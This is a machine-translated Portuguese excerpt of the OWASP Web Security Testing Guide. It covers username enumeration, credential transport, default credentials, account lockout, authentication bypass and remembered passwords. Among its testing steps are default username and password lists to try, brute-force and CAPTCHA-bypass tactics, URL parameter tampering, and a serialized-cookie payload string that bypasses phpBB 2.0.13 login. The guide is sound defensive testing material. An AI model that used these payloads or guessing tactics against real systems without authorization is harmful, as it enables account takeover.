Os testadores podem receber informações úteis no Título da página da Web, onde podem obter um código de erro específico ou mensagens que revelam se o problema
Por exemplo, se um usuário não conseguir se autenticar em um aplicativo e receber uma página da Web cujo título seja semelhante a:
Usuário Inválido
Autenticação inválida
Quando usamos um recurso de recuperação (ou seja, uma função de senha esquecida), um aplicativo vulnerável pode retornar uma mensagem que revela se um nome
de usuário existe ou não.
Nome de usuário inválido: o endereço de e-mail não é válido ou o usuário especificado não foi encontrado.
Nome de usuário válido: Sua senha foi enviada com sucesso para o endereço de e-mail com o qual você se registrou.
Quando solicitamos um usuário dentro do diretório que não existe, nem sempre recebemos o código de erro 404. Em vez disso, podemos receber “200 ok” com uma
imagem, neste caso podemos assumir que quando recebemos a imagem específica o usuário não existe. Essa lógica pode ser aplicada a outras respostas do servidor
da Web; o truque é uma boa análise do servidor da web e das mensagens do aplicativo da web.
Além de olhar para o conteúdo das respostas, o tempo que a resposta leva também deve ser considerado.
Especialmente quando a solicitação causa uma interação com um serviço externo (como enviar um e-mail com senha esquecida), isso pode adicionar várias centenas
de milissegundos à resposta, que pode ser usada para determinar se o usuário solicitado é válido.
Adivinhar usuários
Machine
135
Translated by Google
Em alguns casos, os IDs de usuário são criados com políticas específicas de administrador ou empresa. Por exemplo, podemos visualizar um usuário com um ID
CN000100
CN000101
...
Às vezes, os nomes de usuário são criados com um alias REALM e, em seguida, com números sequenciais:
No exemplo acima, podemos criar scripts de shell simples que compõem IDs de usuário e enviar uma solicitação com uma ferramenta como wget para automatizar
uma consulta na Web para discernir IDs de usuário válidos. Para criar um script, também podemos usar Perl e curl.
Outras possibilidades são: - IDs de usuário associados a números de cartão de crédito ou, em geral, números com um padrão. - IDs de usuário associados a nomes
reais, por exemplo, se Freddie Mercury tiver um ID de usuário "fmercury", então você pode adivinhar que Roger Taylor tem o ID de usuário "rtaylor".
Novamente, podemos adivinhar um nome de usuário a partir das informações recebidas de uma consulta LDAP ou da coleta de informações do Google, por
exemplo, de um domínio específico. O Google pode ajudar a encontrar usuários de domínio por meio de consultas específicas ou por meio de um simples shell
script ou ferramenta.
Ao enumerar contas de usuário, você corre o risco de bloquear contas após um número predefinido de sondagens com falha (com base na política do
aplicativo). Além disso, às vezes, seu endereço IP pode ser banido por regras dinâmicas no firewall do aplicativo ou no Sistema de Prevenção de Intrusão.
Verifique se o aplicativo responde da mesma maneira para cada solicitação do cliente que produz uma autenticação com falha.
Para esta questão, o teste de caixa preta e o teste de caixa cinza têm o mesmo conceito baseado na análise de mensagens ou códigos de erro recebidos do
aplicativo da web.
O aplicativo deve responder da mesma maneira para cada tentativa falha de autenticação.
Remediação
Certifique-se de que o aplicativo retorne mensagens de erro genéricas consistentes em resposta ao nome de conta, senha ou outras credenciais de usuário
Certifique-se de que as contas padrão do sistema e as contas de teste sejam excluídas antes de liberar o sistema para produção (ou expô-lo a uma rede não
confiável).
Ferramentas
PERL
Referências
Marco Mella, Sun Java Access & Identity Manager Enumeração de usuários
Vulnerabilidades de enumeração de nome de usuário
Machine Translated by Google
136
EU IRIA
WSTG-IDNT-05
Resumo
Nomes de contas de usuário geralmente são altamente estruturados (por exemplo, o nome da conta Joe Bloggs é jbloggs e o nome da conta Fred Nurks
é fnurks) e nomes de contas válidos podem ser facilmente adivinhados.
Objetivos do teste
Determine se uma estrutura de nome de conta consistente torna o aplicativo vulnerável a
enumeração.
Como testar
Determine a estrutura dos nomes das contas.
Use respostas diferentes para nomes de contas válidos e inválidos para enumerar nomes de contas válidos.
Use dicionários de nome de conta para enumerar nomes de conta válidos.
Remediação
Certifique-se de que o aplicativo retorne mensagens de erro genéricas consistentes em resposta ao nome de conta, senha ou outras credenciais de
usuário inválidas inseridas durante o processo de login.
Machine Translated by Google
137
EU IRIA
WSTG-ATHN-01
Resumo
O teste de transporte de credenciais verifica se os aplicativos da web criptografam os dados de autenticação em trânsito. Essa criptografia impede que
invasores assumam contas ao farejar o tráfego de rede. Aplicativos da Web usam HTTPS para criptografar informações em trânsito para comunicações de
cliente para servidor e de servidor para cliente. Um cliente pode enviar ou receber
Um cliente autenticado envia um token de sessão para solicitar informações confidenciais do site
A falha em criptografar qualquer uma dessas credenciais em trânsito pode permitir que invasores com ferramentas de detecção de rede visualizem as
credenciais e possivelmente as usem para roubar a conta de um usuário. O invasor pode farejar o tráfego diretamente usando o Wireshark ou ferramentas
semelhantes, ou podem configurar um proxy para capturar solicitações HTTP. Os dados confidenciais devem ser criptografados em trânsito para evitar isso.
O fato de o tráfego ser criptografado não significa necessariamente que seja totalmente seguro. A segurança também depende do algoritmo de criptografia
usado e da robustez das chaves que o aplicativo está usando. Consulte Testando a segurança fraca da camada de transporte para verificar se o algoritmo
de criptografia é suficiente.
Objetivos do teste
Avalie se algum caso de uso do site ou aplicativo faz com que o servidor ou o cliente troque credenciais sem criptografia.
Como testar
Para testar o transporte de credenciais, capture o tráfego entre um cliente e o servidor de aplicativos da web que precisa de credenciais.
Verifique as credenciais transferidas durante o login e ao usar o aplicativo com uma sessão válida. Para configurar para o teste:
1. Configure e inicie uma ferramenta para capturar tráfego, como uma das seguintes:
As ferramentas de desenvolvedor do navegador da Web
2. Desative todos os recursos ou plug-ins que fazem o navegador da Web favorecer o HTTPS. Alguns navegadores ou extensões, como
HTTPS em todos os lugares, irá combater a navegação forçada redirecionando solicitações HTTP para HTTPS.
Para qualquer mensagem que contenha esses dados confidenciais, verifique se a troca ocorreu usando HTTPS (e não HTTP). Os exemplos a seguir
mostram dados capturados que indicam testes aprovados ou reprovados, onde o aplicativo da web está em um servidor chamado www.example.org .
Machine Translated by Google
139
Login
Encontre o endereço da página de login e tente mudar o protocolo para HTTP. Por exemplo, o URL para a navegação forçada pode ter a seguinte aparência:
http://www.example.org/login .
Se a página de login for normalmente HTTPS, tente remover o “S” para ver se a página de login carrega como HTTP.
Faça login usando uma conta válida ao tentar forçar o uso de HTTP não criptografado. Em um teste aprovado, a solicitação de login deve ser HTTPS:
...
Dados POST:
j_username=userabc
j_password=My-Protected-Password-452 from=/
Enviar=Entrar
Se o servidor retornar informações de cookie para um token de sessão, o cookie também deve incluir o atributo Secure para evitar que o cliente
exponha o cookie em canais não criptografados posteriormente. Procure a palavra-chave Secure no cabeçalho de resposta.
O teste falha se algum login transferir uma credencial por HTTP, semelhante ao seguinte:
j_username=userabc
j_password=Minha-Senha-Protegida-452 de=/
Enviar=Entrar
O URL de busca é http:// e expõe o texto simples j_username e j_password por meio dos dados da postagem.
Nesse caso, como o teste já mostra os dados POST expondo todas as credenciais, não faz sentido verificar os cabeçalhos de resposta (o que
provavelmente também exporia um token ou cookie de sessão).
Criação de conta
Para testar a criação de conta não criptografada, tente forçar a navegação para a versão HTTP da criação da conta e crie uma conta, por exemplo: http://
www.example.org/securityRealm/createAccount
Machine Translated by Google
140
O teste passa se, mesmo após a navegação forçada, o cliente ainda enviar a solicitação de nova conta por HTTPS:
X Jenkins: 2.257
X-Jenkins-Sessão: 4551da08
Porta X-Hudson-CLI: 50000
Porta X-Jenkins-CLI: 50000
X-Jenkins-CLI2-Port: 50000
X-Frame-Options: sameorigin
Codificação de conteúdo: gzip
X-Instance-Identity:
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3344ru7RK0jgdpKs3cfrBy2tteYI1laGpbP4fr5zOx2b/1OEvbVioU5U
btfIUHruD9N7jBG+KG4pcWfUiXdLp2skrBYsXBfiwUDA8Wam3wSbJWTmPfSRiIu4dsfIedj0bYX5zJSa6QPLxYolaKtBP4vEnP6l
BFqW2vMuzaN6QGReAxM4NKWTijFtpxjchyLQ2o+K5mSEJQIWDIqhv1sKxdM9zkb6pW/rI1deJJMSih66les5kXgbH2fnO7Fz6di8
8jT1tAHoaXWkPM9X0EbklkHPT9b7RVXziOURXVIPUTU5u+LYGkNavEb+bdPmsD94elD/cf5ZqdGNoOAE5AYS0QIDAQAB
...
Dados de postagem:
nome de usuário=usuário456
nome completo=Usuário 456
password1=Minha-Senha-Protegida-808
password2=Minha-Senha-Protegida-808
Enviar=Criar conta
Jenkins-Crumb=58e6f084fd29ea4fe570c31f1d89436a0578ef4d282c1bbe03ffac0e8ad8efd6
Semelhante a um login, a maioria dos aplicativos da Web fornece automaticamente um token de sessão em uma criação de conta bem-sucedida.
Se houver um Set-Cookie: , verifique se ele possui um Secure; atributo também.
O teste falhará se o cliente enviar uma nova solicitação de conta com HTTP não criptografado:
nome de usuário=usuário456
nome completo=Usuário 456
password1=Minha-Senha-Protegida-808
password2=Minha-Senha-Protegida-808
Enviar=Criar conta
Jenkins-Crumb=8c96276321420cdbe032c6de141ef556cab03d91b25ba60be8fd3d034549cdd3
Este formulário de criação de usuário Jenkins expôs todos os novos detalhes do usuário (nome, nome completo e senha) em dados POST para
a página de criação de conta HTTP
Semelhante ao login e à criação de conta, se o aplicativo da web tiver recursos que permitem que um usuário altere uma conta ou chame um serviço
diferente com credenciais, verifique se todas essas interações são HTTPS. As interações a serem testadas incluem o seguinte:
Formulários que permitem aos usuários lidar com uma senha esquecida ou outra credencial
Formulários que permitem aos usuários editar credenciais
Formulários que exigem que o usuário se autentique com outro provedor (por exemplo, processamento de pagamento)
O teste passa se todas as interações enviarem o token de sessão por HTTPS semelhante ao exemplo a seguir:
URL de solicitação:http://www.example.org/
Método de solicitação:GET
...
Cabeçalhos de
solicitação: GET /
HTTP/1.1 Host:
www.example.org User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Aceitar:
text/html,application/xhtml+xml, application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br DNT: 1 Connection: Keep-alive Cookie :
JSESSIONID.a7731d09=node01ai3by8hip0g71kh3ced41pmqf4.node0;
ACEGI_SECURITY_HASHED_REMEMBER_ME_COOKIE=dXNlcmFiYzoxNjAyNTUwNzQ0NDU3OjFmNDlmYTZhOGI1YTZkYTYxNDIwYWV
mNmM0OTI1OGFhODA3Y2ZmMjg4MDM3YjcwODdmN2I2NjMwOWIyMDU3NTc=; screenResolution=1920x1200 Solicitações inseguras
de atualização: 1
O teste falha se o navegador enviar um token de sessão por HTTP em qualquer parte do site, mesmo que a navegação forçada seja necessária para
acionar este caso:
URL de solicitação:http://www.example.org/
Método de solicitação:GET
...
Cabeçalhos de
solicitação: GET / HTTP/1.1
Host: www.example.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Aceitar: text/html,application/
xhtml+xml,application/xml;q=0.9, */*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Connection: keep-alive Cookie: language=en; welcomebanner_status=dispensar; cookieconsent_status=dispensar;
resolução de tela=1920x1200; JSESSIONID.c1e7b45b=node01warjbpki6icgxkn0arjbivo84.node0 Solicitações
inseguras de atualização: 1
A solicitação GET expôs o token de sessão JSESSIONID (do navegador para o servidor) na URL da solicitação
http://www.example.org/
Remediação
Use HTTPS para todo o site. Implementar HSTS e redirecione qualquer HTTP para HTTPS. O site obtém os seguintes benefícios ao usar HTTPS
para todos os seus recursos:
Machine
142
Translated by Google
Ele impede que os invasores modifiquem as interações com o servidor da Web (incluindo a colocação de malware JavaScript por meio de
um roteador comprometido).
Evita a perda de clientes para avisos de sites inseguros. Novos navegadores marcam sites baseados em HTTP como inseguros.
Facilita a escrita de certos aplicativos. Por exemplo, as APIs do Android precisam de substituições para se conectar a qualquer coisa via
HTTP.
Se for complicado mudar para HTTPS, priorize HTTPS para operações confidenciais primeiro. A médio prazo, planeje converter todo o
aplicativo para HTTPS para evitar a perda de clientes por comprometimento ou os avisos de HTTP inseguro. Se a organização ainda não
comprar certificados para HTTPS, consulte Let's Encrypt ou outro certificado gratuito
autoridades no servidor.
Machine Translated by Google
143
EU IRIA
WSTG-ATHN-02
Resumo
Hoje em dia, os aplicativos da Web costumam fazer uso de software popular de código aberto ou comercial que pode ser instalado em
servidores com configuração ou personalização mínimas pelo administrador do servidor. Além disso, muitos dispositivos de hardware (ou seja,
roteadores de rede e servidores de banco de dados) oferecem configuração baseada na Web ou interfaces administrativas.
Geralmente, esses aplicativos, uma vez instalados, não são configurados corretamente e as credenciais padrão fornecidas para autenticação
e configuração inicial nunca são alteradas. Essas credenciais padrão são bem conhecidas pelos testadores de penetração e, infelizmente,
também por invasores mal-intencionados, que podem usá-las para obter acesso a vários tipos de aplicativos.
Além disso, em muitas situações, quando uma nova conta é criada em um aplicativo, uma senha padrão (com algumas características padrão)
é gerada. Se essa senha for previsível e o usuário não a alterar no primeiro acesso, isso pode levar um invasor a obter acesso não autorizado
ao aplicativo.
Pessoal de TI inexperiente, que desconhece a importância de alterar senhas padrão em componentes de infraestrutura instalados, ou
deixar a senha padrão para “facilidade de manutenção”.
Programadores que deixam portas traseiras para acessar e testar facilmente seus aplicativos e depois se esquecem de removê-los.
Aplicativos com contas padrão não removíveis integradas com nome de usuário e senha predefinidos.
Aplicativos que não forçam o usuário a alterar as credenciais padrão após o primeiro login.
Objetivos do teste
Enumere os aplicativos para credenciais padrão e valide se eles ainda existem.
Revise e avalie novas contas de usuário e se elas foram criadas com quaisquer padrões ou padrões identificáveis.
Como testar
Teste de credenciais padrão de aplicativos comuns No teste de caixa preta, o
testador não sabe nada sobre o aplicativo e sua infraestrutura subjacente. Na realidade, isso geralmente não é verdade e algumas informações
sobre o aplicativo são conhecidas. Supomos que você tenha identificado, por meio do uso das técnicas descritas neste Guia de Teste no
capítulo Coleta de Informações, pelo menos um ou mais aplicativos comuns que podem conter interfaces administrativas acessíveis.
Depois de identificar uma interface de aplicativo, por exemplo, uma interface da Web do roteador Cisco ou um portal do administrador
WebLogic, verifique se os nomes de usuário e senhas conhecidos para esses dispositivos não resultam em autenticação bem-sucedida. Para
fazer isso, você pode consultar a documentação do fabricante ou, de forma muito mais simples, pode encontrar credenciais comuns usando
um mecanismo de busca ou usando um dos sites ou ferramentas listadas na seção Referência.
Ao enfrentar aplicativos em que não temos uma lista de contas de usuário padrão e comuns (por exemplo, devido ao fato de o aplicativo não
ser amplamente difundido), podemos tentar adivinhar credenciais padrão válidas. Observe que o aplicativo que está sendo testado pode ter
uma política de bloqueio de conta ativada e várias tentativas de adivinhação de senha com um nome de usuário conhecido podem fazer com
que a conta seja bloqueada. Se for possível bloquear a conta do administrador, pode ser problemático para o administrador do sistema redefini-
la.
Machine Translated by Google
144
Muitos aplicativos têm mensagens de erro detalhadas que informam os usuários do site sobre a validade dos nomes de usuário inseridos.
Essas informações serão úteis ao testar contas de usuário padrão ou adivinháveis. Essa funcionalidade pode ser encontrada, por exemplo,
na página de login, redefinição de senha e página de senha esquecida e página de inscrição. Depois de encontrar um nome de usuário
padrão, você também pode começar a adivinhar as senhas dessa conta.
Mais informações sobre este procedimento podem ser encontradas nas seguintes seções:
Como esses tipos de credenciais padrão geralmente estão vinculados a contas administrativas, você pode proceder desta maneira:
Tente os seguintes nomes de usuário - “admin”, “administrador”, “root”, “sistema”, “convidado”, “operador” ou “super”. Eles são
populares entre os administradores de sistema e são frequentemente usados. Além disso, você pode tentar “qa”, “test”, “test1”,
“testing” e nomes semelhantes. Tente qualquer combinação das opções acima nos campos de nome de usuário e senha. Se o
aplicativo for vulnerável à enumeração de nome de usuário e você conseguir identificar qualquer um dos nomes de usuário acima,
tente senhas de maneira semelhante. Além disso, tente uma senha vazia ou uma das seguintes “senha”, “senha123”, “senha123”,
“admin” ou “convidado” com as contas acima ou quaisquer outras contas enumeradas. Outras permutações do acima também podem
ser tentadas. Se essas senhas falharem, pode valer a pena usar uma lista comum de nome de usuário e senha e tentar várias
solicitações no aplicativo. Isso pode, é claro, ser roteirizado para economizar tempo.
Os usuários administrativos do aplicativo geralmente recebem o nome do aplicativo ou da organização. Isso significa que, se você
estiver testando um aplicativo chamado “Obscuridade”, tente usar obscuridade/obscuridade ou qualquer outra combinação semelhante
como nome de usuário e senha.
Ao realizar um teste para um cliente, tente usar nomes de contatos que você recebeu como nomes de usuário com senhas comuns.
Os endereços de e-mail do cliente revelam a convenção de nomenclatura das contas de usuário: se o funcionário “John Doe” tiver o
endereço de e-mail jdoe@example.com , você pode tentar encontrar os nomes dos administradores do sistema nas mídias sociais e
adivinhar o nome de usuário aplicando a mesma convenção de nomenclatura ao nome deles.
Revise a origem da página e o JavaScript por meio de um proxy ou visualizando a origem. Procure referências a usuários e senhas
na fonte. Por exemplo , se username='admin' então starturl=/admin.asp senão /index.asp (para um login bem-sucedido versus um
login com falha). Além disso, se você tiver uma conta válida, faça login e visualize todas as solicitações e respostas para um login
válido versus um login inválido, como parâmetros ocultos adicionais, solicitação GET interessante (login = sim) etc.
Procure nomes de contas e senhas escritas em comentários no código-fonte. Procure também nos diretórios de backup o código-fonte
(ou backups do código-fonte) que possam conter comentários e códigos interessantes.
O conselho dado anteriormente sobre uma possível política de bloqueio e mensagens de erro detalhadas também são aplicáveis aqui ao
testar senhas padrão.
As etapas a seguir podem ser aplicadas para testar esses tipos de credenciais padrão:
Observar a página de registro do usuário pode ajudar a determinar o formato esperado e o comprimento mínimo ou máximo dos
nomes de usuário e senhas do aplicativo. Se não existir uma página de registro de usuário, determine se a organização usa uma
convenção de nomenclatura padrão para nomes de usuário, como endereço de e-mail ou o nome antes do @ no e-mail.
Tente extrapolar do aplicativo como os nomes de usuário são gerados. Por exemplo, um usuário pode escolher seu próprio nome de
usuário ou o sistema gera um nome de conta para o usuário com base em algumas informações pessoais ou por
Machine Translated by Google
145
usando uma sequência previsível? Se o aplicativo gerar os nomes das contas em uma sequência previsível, tente fuzzing todas as contas
como o usuário7811 possíveis recursivamente. Se você puder identificar uma resposta diferente do aplicativo ao usar um nome de usuário
válido e uma senha errada, tente um ataque de força bruta no nome de usuário válido (ou tente rapidamente qualquer uma das senhas comuns
identificadas acima ou na seção de referência).
Tente determinar se a senha gerada pelo sistema é previsível. Para fazer isso, crie muitas contas novas rapidamente uma após a outra para
poder comparar e determinar se as senhas são previsíveis. Se previsível, tente correlacioná-los com os nomes de usuário ou quaisquer contas
enumeradas e use-os como base para um ataque de força bruta.
Se você identificou a convenção de nomenclatura correta para o nome de usuário, tente senhas de “força bruta” com alguma sequência previsível
comum, como por exemplo, datas de nascimento.
Tente usar todos os nomes de usuário acima com senhas em branco ou usar o nome de usuário também como valor de senha.
As etapas a seguir dependem de uma abordagem inteiramente de caixa cinza. Se apenas algumas dessas informações estiverem disponíveis para você, consulte o
Fale com o pessoal de TI para determinar quais senhas eles usam para acesso administrativo e como a administração do aplicativo é realizada.
Pergunte ao pessoal de TI se as senhas padrão foram alteradas e se as contas de usuário padrão foram desativadas.
Examine o banco de dados do usuário em busca de credenciais padrão, conforme descrito na seção de teste de caixa preta. Verifique também
os campos de senha vazios.
Examine a política de senha e, se o aplicativo gerar suas próprias senhas para novos usuários, verifique a política em uso para este procedimento.
Ferramentas
Arroto Intruso
THC Hidra
Nikto 2
Referências
CIRT
Machine Translated by Google
146
EU IRIA
WSTG-ATHN-03
Resumo
Mecanismos de bloqueio de conta são usados para mitigar ataques de força bruta. Alguns dos ataques que podem ser derrotados usando o
mecanismo de bloqueio:
Os mecanismos de bloqueio de conta exigem um equilíbrio entre a proteção de contas contra acesso não autorizado e a proteção dos usuários
contra o acesso autorizado negado. As contas são normalmente bloqueadas após 3 a 5 tentativas malsucedidas e só podem ser desbloqueadas
após um período de tempo predeterminado, por meio de um mecanismo de desbloqueio de autoatendimento ou intervenção de um
administrador.
Apesar de ser fácil realizar ataques de força bruta, o resultado de um ataque bem-sucedido é perigoso, pois o invasor terá acesso total à
conta do usuário e com ela todas as funcionalidades e serviços aos quais ele tem acesso.
Objetivos do teste
Avalie a capacidade do mecanismo de bloqueio de conta para atenuar a adivinhação de senha de força bruta.
Como testar
Mecanismo de Bloqueio
Para testar a força dos mecanismos de bloqueio, você precisará acessar uma conta que deseja ou pode bloquear.
Se você tiver apenas uma conta com a qual pode fazer logon no aplicativo da web, execute este teste no final do seu plano de teste para
evitar perder tempo de teste por ser bloqueado.
Para avaliar a capacidade do mecanismo de bloqueio de conta de atenuar a adivinhação de senha de força bruta, tente um login inválido
usando a senha incorreta várias vezes, antes de usar a senha correta para verificar se a conta foi bloqueada. Um exemplo de teste pode ser
o seguinte:
2. Faça login com sucesso com a senha correta, mostrando assim que o mecanismo de bloqueio não é acionado após 3
tentativas de autenticação incorretas.
4. Faça login com sucesso com a senha correta, mostrando assim que o mecanismo de bloqueio não é acionado após 4
tentativas de autenticação incorretas.
6. Tente fazer login com a senha correta. O aplicativo retorna “Sua conta está bloqueada.”, Assim
confirmando que a conta está bloqueada após 5 tentativas incorretas de autenticação.
7. Tente fazer login com a senha correta 5 minutos depois. O aplicativo retorna “Sua conta está bloqueada.”,
mostrando assim que o mecanismo de bloqueio não desbloqueia automaticamente após 5 minutos.
8. Tente fazer login com a senha correta 10 minutos depois. O aplicativo retorna “Sua conta está bloqueada.”,
mostrando assim que o mecanismo de bloqueio não desbloqueia automaticamente após 10 minutos.
Machine Translated by Google
147
9. Faça login com sucesso com a senha correta 15 minutos depois, mostrando assim que o mecanismo de bloqueio é desbloqueado automaticamente após um período
de 10 a 15 minutos.
Um CAPTCHA pode impedir ataques de força bruta, mas eles podem vir com seu próprio conjunto de pontos fracos e não devem substituir um mecanismo de bloqueio.
Um mecanismo CAPTCHA pode ser ignorado se implementado incorretamente. As falhas do CAPTCHA incluem:
2. Tente enviar a solicitação sem resolver o CAPTCHA por meio do(s) mecanismo(s) normal(is) da interface do usuário.
4. Tentativa de enviar a solicitação sem resolver o CAPTCHA (assumindo que alguns valores padrão podem ser passados pelo lado do cliente
código, etc) ao usar um proxy de teste (solicitação enviada diretamente do lado do servidor).
5. Tente fazer fuzz nos pontos de entrada de dados CAPTCHA (se houver) com cargas úteis de injeção comuns ou caracteres especiais
sequências.
6. Verifique se a solução para o CAPTCHA pode ser o texto alternativo da(s) imagem(ns), nome(s) do(s) arquivo(s) ou um valor em um associado
campo oculto.
8. Verifique se a limpeza de cookies faz com que o CAPTCHA seja ignorado (por exemplo, se o CAPTCHA for exibido apenas após um
número de falhas).
9. Se o CAPTCHA fizer parte de um processo de várias etapas, tente simplesmente acessar ou concluir uma etapa além do CAPTCHA (por exemplo, se o CAPTCHA
for a primeira etapa em um processo de login, tente simplesmente enviar a segunda etapa [nome de usuário e senha] ).
10. Verifique se há métodos alternativos que podem não ter o CAPTCHA aplicado, como um endpoint de API destinado a facilitar
Repita esse processo para todas as funcionalidades possíveis que possam exigir um mecanismo de bloqueio.
Mecanismo de Desbloqueio
Para avaliar a resistência do mecanismo de desbloqueio ao desbloqueio não autorizado da conta, inicie o mecanismo de desbloqueio e procure pontos fracos. Mecanismos
de desbloqueio típicos podem envolver perguntas secretas ou um link de desbloqueio enviado por e-mail. O link de desbloqueio deve ser um link único, para impedir que
Observe que um mecanismo de desbloqueio só deve ser usado para desbloquear contas. Não é o mesmo que um mecanismo de recuperação de senha, mas pode seguir
Remediação
Aplique mecanismos de desbloqueio de conta dependendo do nível de risco. Em ordem da garantia mais baixa para a mais alta:
3. Um mecanismo de bloqueio do lado do cliente está sendo usado (por exemplo, JavaScript)? (Em caso afirmativo, desative o código do lado do cliente para testar.)
4. Número de tentativas malsucedidas de login antes do bloqueio. Se o limite de bloqueio for muito baixo, os usuários válidos podem ser bloqueados com muita
frequência. Se o limite de bloqueio for muito alto, mais tentativas um invasor pode fazer para forçar a conta antes que ela seja bloqueada. Dependendo da
eu. Manualmente por um administrador: este é o método de bloqueio mais seguro, mas pode causar transtornos aos usuários
uma. Observe que o administrador também deve ter um método de recuperação caso sua conta seja bloqueada.
b. Esse mecanismo de desbloqueio pode levar a um ataque de negação de serviço se o objetivo de um invasor for bloquear as contas de todos os
ii. Após um período de tempo: Qual é a duração do bloqueio? Isso é suficiente para o aplicativo que está sendo protegido? Por exemplo, uma duração de
bloqueio de 5 a 30 minutos pode ser um bom compromisso entre mitigar ataques de força bruta e incomodar usuários válidos.
iii. Por meio de um mecanismo de autoatendimento: Como dito anteriormente, esse mecanismo de autoatendimento deve ser seguro o suficiente para evitar
que o próprio invasor possa desbloquear as contas.
Referências
Veja o artigo da OWASP sobre Brute Force Ataques.
EU IRIA
WSTG-ATHN-04
Resumo
Em segurança de computadores, a autenticação é o processo de tentar verificar a identidade digital do remetente de uma comunicação. Um exemplo comum
de tal processo é o processo de logon. Testar o esquema de autenticação significa entender como o processo de autenticação funciona e usar essas
informações para burlar o mecanismo de autenticação.
Embora a maioria dos aplicativos exija autenticação para obter acesso a informações privadas ou para executar tarefas, nem todos os métodos de autenticação
são capazes de fornecer segurança adequada. Negligência, ignorância ou simples subestimação das ameaças de segurança geralmente resultam em
esquemas de autenticação que podem ser ignorados simplesmente ignorando a página de login e chamando diretamente uma página interna que deve ser
acessada somente após a autenticação.
Além disso, muitas vezes é possível contornar as medidas de autenticação adulterando as solicitações e enganando o aplicativo fazendo-o pensar que o
usuário já está autenticado. Isso pode ser feito modificando o parâmetro de URL fornecido, manipulando o formulário ou falsificando sessões.
Problemas relacionados ao esquema de autenticação podem ser encontrados em diferentes estágios do ciclo de vida do desenvolvimento de software
(SDLC), como as fases de design, desenvolvimento e implantação:
Na fase de design, os erros podem incluir uma definição incorreta das seções do aplicativo a serem protegidas, a escolha de não aplicar protocolos de
criptografia fortes para proteger a transmissão de credenciais e muito mais.
Na fase de desenvolvimento, os erros podem incluir a implementação incorreta da funcionalidade de validação de entrada ou não seguir as melhores
práticas de segurança para o idioma específico.
Na fase de implantação do aplicativo, pode haver problemas durante a configuração do aplicativo (atividades de instalação e configuração) devido à
falta de habilidades técnicas necessárias ou devido à falta de boa documentação.
Objetivos do teste
Certifique-se de que a autenticação seja aplicada em todos os serviços que a exigem.
Como testar
Teste de Caixa Preta
Existem vários métodos para ignorar o esquema de autenticação usado por um aplicativo da web:
Previsão de ID de sessão
injeção SQL
Se um aplicativo da Web implementa o controle de acesso apenas na página de login, o esquema de autenticação pode ser ignorado.
Por exemplo, se um usuário solicitar diretamente uma página diferente por meio de navegação forçada, essa página pode não verificar as credenciais do
usuário antes de conceder acesso. Tente acessar diretamente uma página protegida por meio da barra de endereços do navegador para testar esse método.
Machine Translated by Google
150
Modificação de Parâmetros
Outro problema relacionado ao design de autenticação é quando o aplicativo verifica um login bem-sucedido com base em parâmetros de valor fixo. Um
usuário pode modificar esses parâmetros para obter acesso às áreas protegidas sem fornecer credenciais válidas. No exemplo abaixo, o parâmetro
“authenticated” é alterado para um valor de “yes”, que permite o acesso do usuário. Neste exemplo, o parâmetro está na URL, mas um proxy também
pode ser usado para modificar o parâmetro, especialmente quando os parâmetros são enviados como elementos de formulário em uma solicitação
POST ou quando os parâmetros são
armazenados em um cookie.
http://www.site.com/page.asp?authenticated=no
HTTP/1.1 200 OK
Data: sábado, 11 de novembro de 2006 10:22:44 GMT
Servidor: Apache
Conexão: fechar
Tipo de conteúdo: texto/html; charset=iso-8859-1
Previsão de ID de sessão
Muitos aplicativos da Web gerenciam a autenticação usando identificadores de sessão (IDs de sessão). Portanto, se a geração do ID de
sessão for previsível, um usuário mal-intencionado poderá encontrar um ID de sessão válido e obter acesso não autorizado ao aplicativo,
representando um usuário previamente autenticado.
Na figura a seguir, os valores dentro dos cookies aumentam linearmente, portanto, pode ser fácil para um invasor adivinhar uma ID de sessão
válida.
Na figura a seguir, os valores dentro dos cookies mudam apenas parcialmente, portanto é possível restringir um ataque de força bruta aos
campos definidos mostrados abaixo.
Machine Translated by Google
152
SQL Injection é uma técnica de ataque amplamente conhecida. Esta seção não descreve esta técnica em detalhes, pois há várias seções
neste guia que explicam as técnicas de injeção além do escopo desta seção.
A figura a seguir mostra que, com um simples ataque de injeção de SQL, às vezes é possível ignorar o formulário de autenticação.
Machine Translated by Google
153
No exemplo a seguir (PHPBB 2.0.13 - Authentication Bypass Vulnerability), na linha 5 a função unserialize() analisa um
cookie fornecido pelo usuário e define valores dentro do array $row. Na linha 10, o hash de senha MD5 do usuário
armazenado no banco de dados de back-end é comparado ao fornecido.
Em PHP, uma comparação entre um valor de string e um valor booleano (1 e TRUE ) é sempre , assim, fornecendo o
TRUE seguindo a string (a parte importante é b:1 ) para a função unserialize() , é possível ignorar o controle de
autenticação:
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}
Ferramentas
WebGoatName
Referências
Artigos técnicos
Mark Roxberry: “Vulnerabilidade do PHPBB 2.0.13”
EU IRIA
WSTG-ATHN-05
Resumo
As credenciais são a tecnologia de autenticação mais amplamente utilizada. Devido ao uso tão amplo de pares de nome de usuário-senha, os usuários não
conseguem mais lidar adequadamente com suas credenciais em vários aplicativos usados.
Os aplicativos fornecem uma funcionalidade de lembrar-me que permite que o usuário permaneça autenticado por longos períodos de tempo, sem solicitar
Gerenciadores de senhas - incluindo gerenciadores de senhas do navegador - que permitem ao usuário armazenar suas credenciais de maneira segura e
Objetivos do teste
Valide se a sessão gerada é gerenciada com segurança e não coloque em risco as credenciais do usuário.
Como testar
Como esses métodos fornecem uma melhor experiência do usuário e permitem que o usuário esqueça suas credenciais, eles aumentam a área de superfície de
Armazene as credenciais de forma codificada nos mecanismos de armazenamento do navegador, que podem ser verificados seguindo o cenário de teste de
armazenamento da web e passando pelos cenários de análise de sessão . As credenciais não devem ser armazenadas de forma alguma no aplicativo do lado
do cliente e devem ser substituídas por tokens gerados pelo lado do servidor.
Ataques de ClickJacking .
Ataques CSRF .
Os tokens devem ser analisados em termos de vida útil do token, onde alguns tokens nunca expiram e colocam os usuários em perigo se esses tokens forem
Remediação
Siga o gerenciamento de sessões boas práticas.
